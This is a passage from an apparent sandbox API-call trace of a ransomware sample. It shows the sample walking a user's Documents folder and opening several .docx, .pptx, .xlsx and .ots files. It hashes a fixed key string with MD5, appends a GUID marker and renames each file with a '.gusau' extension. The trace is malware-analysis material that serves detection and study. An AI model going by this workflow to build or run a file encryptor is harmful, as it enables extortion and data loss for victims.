flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.183] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd5d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.183] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.184] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xd5fd, lpOverlapped=0x0) returned 1 [0117.185] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.185] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.185] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.185] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.186] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.186] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.186] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.186] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.186] GetLastError () returned 0x0 [0117.186] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.186] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.186] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xd5fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.187] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.187] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.187] CloseHandle (hObject=0x610) returned 1 [0117.187] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rOeN9J2zJO_02nt1ly.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\roen9j2zjo_02nt1ly.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rOeN9J2zJO_02nt1ly.docx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\roen9j2zjo_02nt1ly.docx.gusau")) returned 1 [0117.189] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe01634c0, ftCreationTime.dwHighDateTime=0x1d4d626, ftLastAccessTime.dwLowDateTime=0x26d38ca0, ftLastAccessTime.dwHighDateTime=0x1d4f64d, ftLastWriteTime.dwLowDateTime=0x26d38ca0, ftLastWriteTime.dwHighDateTime=0x1d4f64d, nFileSizeHigh=0x0, nFileSizeLow=0x3a9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rrn5_p.docx", cAlternateFileName="RRN5_P~1.DOC")) returned 1 [0117.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rrn5_p.docx") returned=".docx" [0117.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rrn5_p.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rrn5_p.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.190] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=15007) returned 1 [0117.190] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.191] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3a79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.191] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.192] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.192] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x3a9f, lpOverlapped=0x0) returned 1 [0117.193] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.193] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.193] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.193] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.194] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.194] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.194] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.194] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.194] GetLastError () returned 0x0 [0117.194] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.194] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.194] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3a9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.195] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.195] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.195] CloseHandle (hObject=0x610) returned 1 [0117.195] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rrn5_p.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rrn5_p.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rrn5_p.docx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rrn5_p.docx.gusau")) returned 1 [0117.196] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd445ace0, ftCreationTime.dwHighDateTime=0x1d4bf72, ftLastAccessTime.dwLowDateTime=0x71a4b730, ftLastAccessTime.dwHighDateTime=0x1d5069d, ftLastWriteTime.dwLowDateTime=0x71a4b730, ftLastWriteTime.dwHighDateTime=0x1d5069d, nFileSizeHigh=0x0, nFileSizeLow=0x7ba9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sh2l9d6EAI4aRt7OOr6g.pptx", cAlternateFileName="SH2L9D~1.PPT")) returned 1 [0117.196] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sh2l9d6EAI4aRt7OOr6g.pptx") returned=".pptx" [0117.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sh2l9d6EAI4aRt7OOr6g.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sh2l9d6eai4art7oor6g.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.197] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=31657) returned 1 [0117.197] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.198] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x7b83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.198] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.200] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x7ba9, lpOverlapped=0x0) returned 1 [0117.200] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.200] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.200] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.200] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.201] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.201] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.201] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.201] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.201] GetLastError () returned 0x0 [0117.201] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.201] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.202] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x7ba9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.202] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.202] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.202] CloseHandle (hObject=0x610) returned 1 [0117.203] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sh2l9d6EAI4aRt7OOr6g.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sh2l9d6eai4art7oor6g.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sh2l9d6EAI4aRt7OOr6g.pptx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sh2l9d6eai4art7oor6g.pptx.gusau")) returned 1 [0117.204] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef565370, ftCreationTime.dwHighDateTime=0x1d4c7e4, ftLastAccessTime.dwLowDateTime=0x59e70280, ftLastAccessTime.dwHighDateTime=0x1d4d144, ftLastWriteTime.dwLowDateTime=0x59e70280, ftLastWriteTime.dwHighDateTime=0x1d4d144, nFileSizeHigh=0x0, nFileSizeLow=0x17c1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tJLm4JiczASJ_8Z0U3i.ots", cAlternateFileName="TJLM4J~1.OTS")) returned 1 [0117.204] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tJLm4JiczASJ_8Z0U3i.ots") returned=".ots" [0117.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tJLm4JiczASJ_8Z0U3i.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tjlm4jiczasj_8z0u3i.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.204] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=97311) returned 1 [0117.204] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.206] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x17bf9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.206] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.207] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x17c1f, lpOverlapped=0x0) returned 1 [0117.209] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.209] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.209] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.209] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.209] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.209] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.209] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.210] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.210] GetLastError () returned 0x0 [0117.210] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.210] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.210] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x17c1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.210] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.210] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.211] CloseHandle (hObject=0x610) returned 1 [0117.212] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tJLm4JiczASJ_8Z0U3i.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tjlm4jiczasj_8z0u3i.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tJLm4JiczASJ_8Z0U3i.ots.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tjlm4jiczasj_8z0u3i.ots.gusau")) returned 1 [0117.215] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35583260, ftCreationTime.dwHighDateTime=0x1d4ba8b, ftLastAccessTime.dwLowDateTime=0x26b032a0, ftLastAccessTime.dwHighDateTime=0x1d522ee, ftLastWriteTime.dwLowDateTime=0x26b032a0, ftLastWriteTime.dwHighDateTime=0x1d522ee, nFileSizeHigh=0x0, nFileSizeLow=0x7668, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uJO-YiH9NhpREYVYgJi.xlsx", cAlternateFileName="UJO-YI~1.XLS")) returned 1 [0117.215] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uJO-YiH9NhpREYVYgJi.xlsx") returned=".xlsx" [0117.215] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uJO-YiH9NhpREYVYgJi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ujo-yih9nhpreyvygji.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.215] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=30312) returned 1 [0117.215] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.216] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x7642, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.216] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.218] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x7668, lpOverlapped=0x0) returned 1 [0117.218] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.218] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.218] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.218] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.219] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.219] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.219] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.219] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.219] GetLastError () returned 0x0 [0117.219] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.219] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.220] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x7668, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.220] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.220] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.220] CloseHandle (hObject=0x610) returned 1 [0117.221] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uJO-YiH9NhpREYVYgJi.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ujo-yih9nhpreyvygji.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uJO-YiH9NhpREYVYgJi.xlsx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ujo-yih9nhpreyvygji.xlsx.gusau")) returned 1 [0117.222] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa01c3e20, ftCreationTime.dwHighDateTime=0x1d50ff4, ftLastAccessTime.dwLowDateTime=0x579f45b0, ftLastAccessTime.dwHighDateTime=0x1d5138d, ftLastWriteTime.dwLowDateTime=0x579f45b0, ftLastWriteTime.dwHighDateTime=0x1d5138d, nFileSizeHigh=0x0, nFileSizeLow=0x6230, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VJH-kfHp7SFpre94.pptx", cAlternateFileName="VJH-KF~1.PPT")) returned 1 [0117.222] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VJH-kfHp7SFpre94.pptx") returned=".pptx" [0117.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VJH-kfHp7SFpre94.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vjh-kfhp7sfpre94.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.222] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=25136) returned 1 [0117.222] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.224] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x620a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.224] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.225] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x6230, lpOverlapped=0x0) returned 1 [0117.226] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.226] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.226] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.226] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0117.226] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.227] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.227] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.227] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.227] GetLastError () returned 0x0 [0117.227] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.227] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0117.227] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.227] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.227] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.227] CloseHandle (hObject=0x610) returned 1 [0117.228] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VJH-kfHp7SFpre94.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vjh-kfhp7sfpre94.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VJH-kfHp7SFpre94.pptx.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vjh-kfhp7sfpre94.pptx.gusau")) returned 1 [0117.229] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf60a40, ftCreationTime.dwHighDateTime=0x1d508e8, ftLastAccessTime.dwLowDateTime=0x2758f520, ftLastAccessTime.dwHighDateTime=0x1d52a96, ftLastWriteTime.dwLowDateTime=0x2758f520, ftLastWriteTime.dwHighDateTime=0x1d52a96, nFileSizeHigh=0x0, nFileSizeLow=0x6129, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wZOz3j2ll6HfOuxlg93b.docx", cAlternateFileName="WZOZ3J~1.DOC")) returned 1 [0117.229] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wZOz3j2ll6HfOuxlg93b.docx") returned=".docx" [0117.229] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wZOz3j2ll6HfOuxlg93b.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wzoz3j2ll6hfouxlg93b.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.230] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=24873) returned 1 [0117.230] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.231] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6103, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.231] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.232] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, 